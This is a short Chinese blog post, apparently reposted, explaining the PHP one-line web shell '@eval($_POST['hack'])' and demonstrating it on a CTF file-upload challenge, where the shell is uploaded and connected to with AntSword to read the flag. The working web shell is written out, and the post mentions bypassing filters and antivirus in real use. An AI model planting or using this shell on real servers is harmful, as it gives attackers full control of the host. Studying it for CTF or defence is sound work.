PHP 一句话木马 @eval($_POST[‘hack‘]);作用解释
简介:@eval()函数的作用是,不将错误爆出来,且将变量中的内容当作php的代码,进行执行,任意代码均可,所有能直接控制主机。
转自:https://blog.csdn.net/BYZY1314/article/details/127792228
一句话木马如下,利用文件上传漏洞,往目标网站上传该木马,即可获取和控制整个网站主机目录
<?php @eval($_POST['hack']); ?>
语句解析
@符号
@符号表示后面的语句即使执行错误,也不报错。
eval()函数
eval()函数的作用是把括号内的字符串全部当作php代码来执行。
$_POST['hack']
post方法是html中<form>标签中的方法,在页面中,所有的POST方法都会由submit输入方式向action中的php文件返还信息,通常这样的php文件是连着着数据库的,甚至可以直接对文件进行操作。当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于hack
例如:
<form action="mm.php" name="hack" method="post">
会在php文件中产生一个$_POST[cmd]变量,变量中储存有用户提交的数据。
利用原理
当用户输入phpinfo();
那么$_POST[hack]变量便会变成"phpinfo();"这个字符串
eval()函数配合$_POST变量输入的字符串来执行php语句,就可以达到操作数据库和服务器的效果
靶机演示
我们找一道简单的CTF文件上传题目做一下
可以看到本题目很简单明了,写上了“无限制”,这道题用来演示该木马正好,不用进行隐写和免杀等操作,我们直接上传该木马
上传成功后可以看到页面回显了上传文件的路径
然后我们打开“中国蚁剑”进行连接
连接密码即为传入$_POST['hack'] 内的值“hack”
连接成功后即可看到如下信息
打开该连接,我们看到了整个网站主机的结构和文件,甚至可以进行任意非法增删查改操作,至此可以说该主机已经被我们掌控了
在网站主页同目录下,我们找到了本题的flag文件
打开该文件,即可拿到我们需要的flag
以上便是对该木马的简单使用做的一个演示
在实际使用中,我们面对的防御者通常还会对文件类型、大小进行过滤,还会有管理员对木马进行查杀等,所以在实际运用中,我们还得进行更多其他的操作
本篇文章到这里就结束了,如果感兴趣的话可以自行去了解相关的知识